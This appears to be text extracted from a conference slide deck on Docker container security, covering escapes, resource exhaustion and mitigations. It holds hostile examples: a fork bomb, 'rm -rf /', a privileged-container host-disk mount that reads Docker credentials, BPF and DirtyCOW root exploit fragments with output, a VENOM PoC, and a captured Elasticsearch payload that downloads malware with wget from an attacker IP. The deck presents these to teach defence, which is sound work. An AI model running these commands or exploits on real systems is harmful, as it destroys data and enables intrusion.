How Secure Are Containers?

@Ben_Hall
Ben@Katacoda.com
Katacoda.com
“Containers Don’t Contain”

Yet Another Reason Containers Don't Contain

Are Docker containers really secure?

My div is breaking out of its container div

I have a containing div that is NOT restricting the width of its child divs.
OH

REALLY?
How Secure Are Containers?

@Ben_Hall
Ben@Katacoda.com
Katacoda.com
@Ben_Hall / Blog.BenHall.me.uk

Microsoft MVP – Cloud and Data Centre Management

Tech Support > Tester > Developer > Founder > Docker London Organiser
Welcome!

Docker - Launching Containers

★ Difficulty: Beginner  ◄ Time: 10-15 minutes

In this first scenario, we'll explore how you can start and connect to your first container using Docker. The environment has been configured with the latest version of the Docker Engine and client which can be accessed via the command line. To install Docker in your own environment, refer to the official documentation.

The machine name Docker is running on is called docker. If you want to access any of the services then use docker instead of localhost or 0.0.0.0.

What is Docker?

Docker describes themselves as "an open platform for developers and sysadmins to build, ship, and run distributed applications" [docker.com/whatsadocker/].

Docker allows you to run containers. A container is a sandboxed process running an application and its dependencies on the host operating system. The application inside the container considers itself to be the only process running on the machine while the machine can run multiple containers independently. As they're sandboxed, you avoid the possibility of conflicts between dependencies and simplify deployment as all installation and configuration are done ahead of time.

Docker has three key components. First is the Docker Engine, which provides a way to start containers on multiple different operating system platforms. Second is the Docker client, which allows you to communicate with the Engine. Third is the public Docker Registry that hosts Docker commands.
“What happens when you give anonymous unrestricted access to a hosted Docker container & daemon?”

This is how we [try to] protect ourselves.
root@fsociety:~# ssh -l root 47.217.138.201
root@47.217.138.201:~# cd /opt/2/task/2/fd1info/fsociety/hscripts
root@47.217.138.201/opt/2/task/2/fd1info/fsociety/hscripts:~# ./fuxsocy.py

Daniel Doubrovkine @dblockdotorg · Aug 22
Darlene is a real hacker. Note the extra space. You do what you have to do to (not) make history. #MrRobot
$ ddos google.co.uk
PING google.co.uk (216.58.212.99): 56 data bytes.
64 bytes from 216.58.212.99: icmp_seq=0 ttl=57 time=85.799 ms
64 bytes from 216.58.212.99: icmp_seq=1 ttl=57 time=36.790 ms
64 bytes from 216.58.212.99: icmp_seq=2 ttl=57 time=91.821 ms
64 bytes from 216.58.212.99: icmp_seq=3 ttl=57 time=19.947 ms
64 bytes from 216.58.212.99: icmp_seq=4 ttl=57 time=41.376 ms
64 bytes from 216.58.212.99: icmp_seq=5 ttl=57 time=35.848 ms
64 bytes from 216.58.212.99: icmp_seq=6 ttl=57 time=37.983 ms
64 bytes from 216.58.212.99: icmp_seq=7 ttl=57 time=21.763 ms
64 bytes from 216.58.212.99: icmp_seq=8 ttl=57 time=30.846 ms
64 bytes from 216.58.212.99: icmp_seq=9 ttl=57 time=29.859 ms
64 bytes from 216.58.212.99: icmp_seq=10 ttl=57 time=32.009 ms
64 bytes from 216.58.212.99: icmp_seq=11 ttl=57 time=39.397 ms
64 bytes from 216.58.212.99: icmp_seq=12 ttl=57 time=21.254 ms
64 bytes from 216.58.212.99: icmp_seq=13 ttl=57 time=29.337 ms
64 bytes from 216.58.212.99: icmp_seq=14 ttl=57 time=19.907 ms
64 bytes from 216.58.212.99: icmp_seq=15 ttl=57 time=10.707 ms

Google slowing down
```bash
$ whoami
$ pwd
$ cd /
$ ls
$ apt-get install <some package>
$ passwd
$ rm -rf /
```
I AM ROOT
Dockerfile

    RUN adduser <new user>
    USER <new user>

$ docker run -u <new user>
CanIHazNonPrivilegedContainers.info
$ whoami
root

$ fallocate 1000T /etc/hosts

Because of how Docker maps /etc/hosts, this will fill the hosts Docker partition. Bye bye system.
$ uptime
$ free -m
$ df -h
$ cat /proc/cpuinfo
$ uname -a
$ reboot

$ shutdown now
“It also allows the container to access local network services + like D-bus and is therefore considered insecure”
--privileged Containers
$ docker run --privileged -d nginx
$ ./exploit

container> df -h
Filesystem Size Used Avail Use% Mounted on
overlay 19G 2.7G 15G 16% /
/dev/vda1 19G 2.7G 15G 16% /etc/hosts
shm 64M 0 64M 0% /dev/shm

container> mkdir -p /tmp2; mount /dev/vda1 /tmp2
container> ls /tmp2
container> cat /tmp2/root/.docker/config
Docker provides a lot out of the box but not everything...

<table>
<thead>
<tr>
<th>Security Feature</th>
<th>LXC 2.0</th>
<th>Docker 1.11</th>
<th>CoreOS Rkt 1.3</th>
</tr>
</thead>
<tbody>
<tr>
<td>User Namespaces</td>
<td>Default</td>
<td>Optional</td>
<td>Experimental</td>
</tr>
<tr>
<td>Root Capability Dropping</td>
<td>Weak Defaults</td>
<td>Strong Defaults</td>
<td>Weak Defaults</td>
</tr>
<tr>
<td>Procfs and Sysfs Limits</td>
<td>Default</td>
<td>Default</td>
<td>Weak Defaults</td>
</tr>
<tr>
<td>Cgroup Defaults</td>
<td>Default</td>
<td>Default</td>
<td>Weak Defaults</td>
</tr>
<tr>
<td>Seccomp Filtering</td>
<td>Weak Defaults</td>
<td>Strong Defaults</td>
<td>Optional</td>
</tr>
<tr>
<td>Custom Seccomp Filters</td>
<td>Optional</td>
<td>Optional</td>
<td>Optional</td>
</tr>
<tr>
<td>Bridge Networking</td>
<td>Default</td>
<td>Default</td>
<td>Default</td>
</tr>
<tr>
<td>Hypervisor Isolation</td>
<td>Coming Soon</td>
<td>Coming Soon</td>
<td>Optional</td>
</tr>
<tr>
<td>MAC: AppArmor</td>
<td>Strong Defaults</td>
<td>Strong Defaults</td>
<td>Not Possible</td>
</tr>
<tr>
<td>MAC: SELinux</td>
<td>Optional</td>
<td>Optional</td>
<td>Optional</td>
</tr>
<tr>
<td>No New Privileges</td>
<td>Not Possible</td>
<td>Optional</td>
<td>Not Possible</td>
</tr>
<tr>
<td>Container Image Signing</td>
<td>Default</td>
<td>Strong Defaults</td>
<td>Default</td>
</tr>
<tr>
<td>Root Interaction Optional</td>
<td>True</td>
<td>False</td>
<td>Mostly False</td>
</tr>
</tbody>
</table>

System load: 3931.91
Usage of /home: 28.1% of 1.77TB
Memory usage: 4%
Swap usage: 97%

Processes: 6939
Users logged in: 1
IP address for eth0: [redacted]
IP address for docker0: [redacted]

=> There are 39 zombie processes.
root@ubuntu-512mb-nyc3-01:~# docker run -it --pids-limit 10 ubuntu bash
root@afc842f16ff0:/# :(){ :||: & };;
[1] 10
root@afc842f16ff0:/# bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: retry: No child processes
bash: fork: retry: No child processes

root@docker-512mb-nyc3-01:~# docker run -it --pids-limit 10 ubuntu bash
WARNING: Your kernel does not support pids limit capabilities, pids limit discarded.
Resource Exhaustion
$ whoami
root
$ fallocate 1000T /etc/hosts

$ whoami
non-root-user
$ fallocate 1000T /mydata

Use ZFS file system. Enables Disk space quotas on a per container level.
$ printf '%s ' {1..1310725} | xargs touch

$ df -i
                       Filesystem            Inodes   IUsed   IFree IUse% Mounted on
/dev/xvda1            1310720  1310720        0  100% /

$ df -h
                       Filesystem      Size  Used Avail Use% Mounted on
/dev/sda1             59G   16G   43G  26% /
Privilege Escalation
Kernel (Ubuntu 16.04) BPF Exploit

int main(void) {
    if (setuid(0) || setgid(0))
        err(1, "setuid/setgid");
    fputs("we have root privs now...
", stderr);
    execl("/bin/bash", "bash", NULL);
    err(1, "execl");
}

https://www.exploit-db.com/exploits/39772/
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@ubuntu:~/ebpf_mapfd_doubleput_exploit# whoami
root
sudo docker run -it \
> -u $(id -u) \
> --security-opt=no-new-privileges \
> -v 'pwd':/exploit \
> ubuntu bash

I have no name!@0e14a074c930:/$ cd exploit/
I have no name!@0e14a074c930:/exploit$ ./doubleput

doubleput: expected BPF_PROG_LOAD to fail with -EINVAL, got different error: Operation not permitted
cleancow@cleancow-VM:~$ gcc dirtycow-mem.c -o dirtycow-mem -ldl -lpthread

cleancow@cleancow-VM:~$ ./dirtycow-mem

[*] range: 7f42b7313000-7f42b74d3000
[*] getuid = 7f42b73df7c0
[*] mmap 0x7f42b7b3e000
[*] exploiting (patch)
[*] patched (procselselfmemThread)
[*] patched (madviseThread)

root@cleancow-VM:/home/cleancow# [*] exploiting (unpatch)
[*] unpatched: uid=1000 (procselselfmemThread)
[*] unpatched: uid=1000 (madviseThread)

root@cleancow-VM:/home/cleancow# whoami
root
root@cleancow-VM:/home/cleancow#
Restrictions

- Namespaces – What can I see
- Capabilities – What can I do?
- Cgroups – How much of something can I use?
- Seccomp – What can I call?
- AppArmor – What can my app do?
Cgroup Settings

- Limit a container to a share of the resource
  - --cpu-shares
  - --cpuset-cpus
  - --memory-reservation
  - --kernel-memory
  - --blkio-weight (block IO)
  - --device-read-iops
  - --device-write-iops
Seccomp & AppArmor
Everything is a syscall

• In Linux all applications interact with Kernel via System Calls

• strace outputs all the calls

• Limit what calls can or cannot be executed
```
dump(1, 0x00) Tue Nov 1 06:40:35 2021
arch_prctl(ARCH_SET_FS, 0x7f6051248700) = 0
mprotect(0x7f6051028000, 16384, PROT_READ) = 0
mprotect(0x60c000, 4096, PROT_READ) = 0
mprotect(0x7f6051252000, 4096, PROT_READ) = 0
munmap(0x7f605124a000, 21590) = 0
brk(0) = 0x1145000
brk(0x1166000) = 0x1166000
umask(0) = 022
stat("/", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
fchmodat(AT_FDCWD, "/", 0400) = 0
close(1) = 0
close(2) = 0
exit_group(0) = ?
+++ exited with 0 +++
```
{  
  "name": "open",
  "action": "SCMP_ACT_ALLOW",
  "args": []
}

{  
  "name": "read",
  "action": "SCMP_ACT_ALLOW",
  "args": []
}

{  
  "name": "fchmodat",
  "action": "SCMP_ACT_ERRNO",
  "args": []
}
root@795d14038008:/exploit# ./cve-2015-3290
This test runs forever. Press Ctrl-C if you get bored.
If nothing happens, then either your kernel is okay or you didn't abuse perf appropriately.
Run me under heavy perf load. For example:
`perf record -o /dev/null -e cycles -e instructions -c 10000 ./cve-2015-3290`
<table>
<thead>
<tr>
<th>% time</th>
<th>seconds</th>
<th>usecs/call</th>
<th>calls</th>
<th>errors</th>
<th>syscall</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.00</td>
<td>0.000000</td>
<td>0</td>
<td>1</td>
<td></td>
<td>init_module</td>
</tr>
<tr>
<td>100.00</td>
<td>0.000000</td>
<td>0</td>
<td>1</td>
<td></td>
<td>total</td>
</tr>
</tbody>
</table>

System call usage summary for 32 bit mode:

<table>
<thead>
<tr>
<th>% time</th>
<th>seconds</th>
<th>usecs/call</th>
<th>calls</th>
<th>errors</th>
<th>syscall</th>
</tr>
</thead>
<tbody>
<tr>
<td>100.00</td>
<td>0.007858</td>
<td>1</td>
<td>10634</td>
<td></td>
<td>futex</td>
</tr>
<tr>
<td>0.00</td>
<td>0.000000</td>
<td>0</td>
<td>10635</td>
<td></td>
<td>modify_ldt</td>
</tr>
<tr>
<td>0.00</td>
<td>0.000000</td>
<td>0</td>
<td>5316</td>
<td></td>
<td>rt_sigprocmask</td>
</tr>
<tr>
<td>100.00</td>
<td>0.007858</td>
<td>26585</td>
<td></td>
<td></td>
<td>total</td>
</tr>
</tbody>
</table>
{"name": "modify_lpt",
"action": "SCMP_ACT_ERRNO",
"args": []}
{
    "name": "mmap",
    "action": "SCMP_ACT_ERRNO",
    "args": []
}
$ docker run \
--security-opt="seccomp:nodirtycow.json" \
amouat/dirty-cow-test
AppArmor
$ cat docker-nginx
#include <tunables/global>

profile docker-nginx
flags=(attach_disconnected,mediate_deleted) {
    #include <abstractions/base>
    network inet tcp,
    network inet udp,
    network inet icmp,
    deny network raw,
    deny network packet,
    file,
    umount,
    deny /bin/** wl,
    deny /boot/** wl,
    deny /dev/** wl,
    deny /etc/** wl,
    deny /home/** wl,
    deny /lib/** wl,
    deny /lib64/** wl,
    deny /usr/bin/dash mlx
    deny /usr/sbin/nginx ix,
    deny /bin/sh mlx
    deny /usr/bin/top mlx,
    deny /usr/sbin/nginx ix,
    capability chown,
    capability dac_override,
    capability setuid,
    capability setgid,
    capability net_bind_service,
    deny @{PROC}/{*,**^[0-9*],sys/kernel/shm*} wkx,
    deny @{PROC}/sysrq-trigger rwklx,
    deny @{PROC}/mem rwklx,
    deny @{PROC}/kmem rwklx,
    deny @{PROC}/kcore rwklx,
    deny mount,
    deny /sys/[f]*/** wkx,
    deny /sys/[f]/*/** wkx,
    deny /sys/fs/[c]*/** wkx,
    deny /sys/fs/cg[0-9]*/** wkx,
https://github.com/docker/libentitlement

$ docker run --rights=network.admin nginx:latest
Proposal

Example 1

- network.none
  - ... [Dotted line]
  - Seccomp
    - socket()
    - socketpair()
    - bind()
    - ...
    - socket(AF_UNIX | AF_LOCAL)
    - ...
  - AppArmor
    + deny network
    + deny capability net_admin
    + deny capability net_raw
    + fs restrictions
  - Capabilities
    - NET_ADMIN
    - NET_BIND_SERVICE
    - NET_RAW
    - NET_BROADCAST

Linux.MaskedPaths
  - /proc/sys/net
  - /sys/class/net
  - ...

...
Intel Clear Containers
Docker using runc

Container A
App
Middleware

Container B
App
Middleware

Container C
App
Middleware

Linux* Kernel

Server hardware

https://clearlinux.org/blogs/how-intel%C2%AE-clear-containers-protects-against-root-kernel-exploits(dirty-cow)
Docker using cor (Intel® Clear Containers)

Container A
- App
- Middleware (C)
- Linux® Kernel
- Intel® VT-x

Container B
- App
- Middleware (duplicate of A)
- Linux Kernel (duplicate of A)
- Intel® VT-x

Container C
- App
- Middleware (C)
- Linux Kernel (C)
- Intel® VT-x

Linux Kernel

Server hardware
Container Security Solutions
What happens when it all goes wrong?
Hosting provider becomes unhappy
org.elasticsearch.search.SearchParseException: [index][3]:
query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source 
{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":
{"exp":{"script":"import java.util.*;\nimport java.io.*;\nString str = \\
";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);} sb.toString();"}}]]

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
<table>
<thead>
<tr>
<th>Command</th>
<th>Directory Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>/bin</td>
<td>A /etc/rc5.d/S97DbSecuritySpt</td>
</tr>
<tr>
<td>/bin/netstat</td>
<td>A /etc/rc5.d/S99selinux</td>
</tr>
<tr>
<td>/bin/ps</td>
<td>A /tmp/linux64</td>
</tr>
<tr>
<td>/bin/ss</td>
<td>A /tmp/manager</td>
</tr>
<tr>
<td>/etc</td>
<td>A /tmp/moni.lod</td>
</tr>
<tr>
<td>/etc/init.d</td>
<td>A /tmp/nb</td>
</tr>
<tr>
<td>/etc/init.d/DbSecuritySpt</td>
<td>A /tmp/o32</td>
</tr>
<tr>
<td>/etc/init.d/selinux</td>
<td>A /tmp/oba</td>
</tr>
<tr>
<td>/etc/rc1.d</td>
<td>A /tmp/okml</td>
</tr>
<tr>
<td>/etc/rc1.d/S97DbSecuritySpt</td>
<td>A /tmp/oni</td>
</tr>
<tr>
<td>/etc/rc1.d/S99selinux</td>
<td>A /tmp/yn25</td>
</tr>
<tr>
<td>/etc/rc2.d</td>
<td>C /usr</td>
</tr>
<tr>
<td>/etc/rc2.d/S97DbSecuritySpt</td>
<td>C /usr/bin</td>
</tr>
<tr>
<td>/etc/rc2.d/S99selinux</td>
<td>C /usr/bin/.sshd</td>
</tr>
<tr>
<td>/etc/rc3.d</td>
<td>A /usr/bin/dpkgd</td>
</tr>
<tr>
<td>/etc/rc3.d/S97DbSecuritySpt</td>
<td>A /usr/bin/dpkgd/netstat</td>
</tr>
<tr>
<td>/etc/rc3.d/S99selinux</td>
<td>A /usr/bin/dpkgd/ps</td>
</tr>
<tr>
<td>/etc/rc4.d</td>
<td>A /usr/bin/dpkgd/ss</td>
</tr>
<tr>
<td>/etc/rc4.d/S97DbSecuritySpt</td>
<td>A /tmp/gates.lod</td>
</tr>
<tr>
<td>/etc/rc4.d/S99selinux</td>
<td>A /tmp/hkddos</td>
</tr>
<tr>
<td>/etc/rc5.d</td>
<td>A /tmp/hsp erfdata_root</td>
</tr>
<tr>
<td>/etc/ssh</td>
<td>A /tmp/linux32</td>
</tr>
<tr>
<td>/etc/ssh/bfgffa</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/os6</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/safe64</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/64</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/6Sxx</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/6Ubb</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/DDos99</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/cmd.n</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/conf.n</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/ddos8</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/dp25</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/dpkgd</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/dpkgd/ps</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/dpkgd/ss</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/hib</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/moni.lod</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/yn25</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/odia</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/odia/manager</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/odia/moni.lod</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/odia/nb</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/odia/o32</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/odia/oba</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/odia/okml</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/odia/oni</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/odia/yn25</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/linux32</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/linux64</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/manager</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/nb</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/o32</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/oba</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/okml</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/oni</td>
<td>A /tmp/.Mm2</td>
</tr>
<tr>
<td>/tmp/yn25</td>
<td>A /tmp/.Mm2</td>
</tr>
</tbody>
</table>

http://blog.ben hall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
Read Only Containers

```bash
> docker run --read-only
   -v /data:/data
   elasticsearch
```
Read Only Containers

```bash
> docker run --read-only \
--security-opt=no-new-privileges \
--security-opt="apparmor:es-profile” \
-v /data:/data \
elasticsearch
```
50,000 sites hacked through a WordPress plug-in vulnerability

Over 1 million WordPress sites may be affected by a flaw in WP Super Cache plugin attack

>Your Website. Has been hacked.

Hi man, your website has been hacked, and I want to help you, if you are ready please read the file info.txt in your site to know what is your vulnerability and how to fix this.
Is Docker Secure?

• Yes. Docker is secure*
• Make sure you enable the security features
• ElasticSearch hack would have taken over entire box
• But only as secure as your practices
$ docker run benhall/cute-kittens
Error: Missing docker.sock
Usage: docker run -v /var/run/docker.sock:/var/run/docker.sock
benhall/cute-kittens

$ docker run \
   -v /var/run/docker.sock:/var/run/docker.sock \
benhall/cute-kittens
if [ -e /var/run/docker.sock ]; then
  echo "***** Launching *****"
  docker run --privileged busybox ls /dev
  echo "***** Cute kittens *****"
else
  echo "Error: Missing docker.sock"
fi
$ docker run \\n  -v /var/run/docker.sock:/var/run/docker.sock \\n  -p 80:80 \\n  vulnerable-application
> curl -I http://docker:2345
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Mon, 09 May 2016 16:51:04 GMT
Content-Length: 19
Hi Ben,

I'm currently running Internet-wide scans for various misconfiguration issues and I discovered that one of your servers, [hiding host name], is exposing the Docker daemon on port 2375, without enforcing any kind of authentication.

Any malicious user can thus start a new container and bind the root filesystem of the host it, granting a full access to all the files. He will also be able to execute code on the hosts, by creating a new cron file or adding his key in /root/.ssh/authorized_keys.

This kind of issue is being actively exploited by crypto-currencies miners, most especially for Monero.

I'm not 100% sure that this host belongs to you, but your email is the signature.
nginx  Version: 1.4.7

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Date: Thu, 25 Aug 2016 08:32:52 GMT
Server: nginx/1.4.7
X-Docker-Registry-Config: prod
X-Docker-Registry-Version: 0.6.7
Content-Length: 541
Connection: keep-alive

HTTP/1.1 400 Bad Request
Date: Thu, 18 Aug 2016 04:34:01 GMT
Server: Apache/2.4.7 (Ubuntu) OpenSSL/1.0.1f
Docker-Distribution-Avi-Version: registry/2.0

<table>
<thead>
<tr>
<th>KBytes</th>
<th>Date</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>4449</td>
<td>2016-May-03 13:57:13</td>
<td>openssl-1.0.1f.tar.gz (SHA256) (PGP sign) (SHA1)</td>
</tr>
<tr>
<td>5150</td>
<td>2016-May-03 13:57:13</td>
<td>openssl-1.0.2h.tar.gz (SHA256) (PGP sign) (SHA1)</td>
</tr>
<tr>
<td>5165</td>
<td>2016-Apr-19 15:06:50</td>
<td>openssl-1.1.0-pre5.tar.gz (SHA256) (PGP sign) (SHA1)</td>
</tr>
</tbody>
</table>

- AMAZON-AES - Amazon.com, Inc., US (14618)  
  - Ashburn, Virginia, United States
- 443/https, 80/http

/* private docker registry */

/* private docker registry */

avi@ubuntu:$ sudo docker run -it docker.vineapp.com:443/library/vinewww /bin/bash
root@1957b9eeee97:/opt/vinewww# ls
MANIFEST.in  PKG-INFO  bin  deploy  include  lib  local  man  setup.cfg  setup...
root@1957b9eeee97:/opt/vinewww# cd vinewww
root@1957b9eeee97:/opt/vinewww/vinewww# ls
_init_.py  config.py  controllers  errors.py  exceptions.py  static  template
Katacoda Security Content @
https://katacoda.com/courses/
docker-security
Security Without Containers?
Think VMs contain?

CVE-2016-3710: QEMU: out-of-bounds memory access issue

Venom QEMU/KVM – Attack via floppy driver
#include <sys/io.h>
#define FIFO 0x3f5
int main() {
    int i;
    iopl(3);

    outb(0x0a,0x3f5); /* READ ID */
    for (i=0;i<10000000;i++)
        outb(0x42,0x3f5); /* push */
    outb(0x0a,0x3f5); /* READ ID */
}
Privileged containers are not Contained!

Docker.sock file is sensitive!

Apply Seccomp, AppArmor, PidsLimit
They will save you when things go wrong

IDS and Container Security tooling are still key

Remember, run Docker / Kubernetes Bench
Thank you!

@Ben_Hall
Ben@Katacoda.com
www.Katacoda.com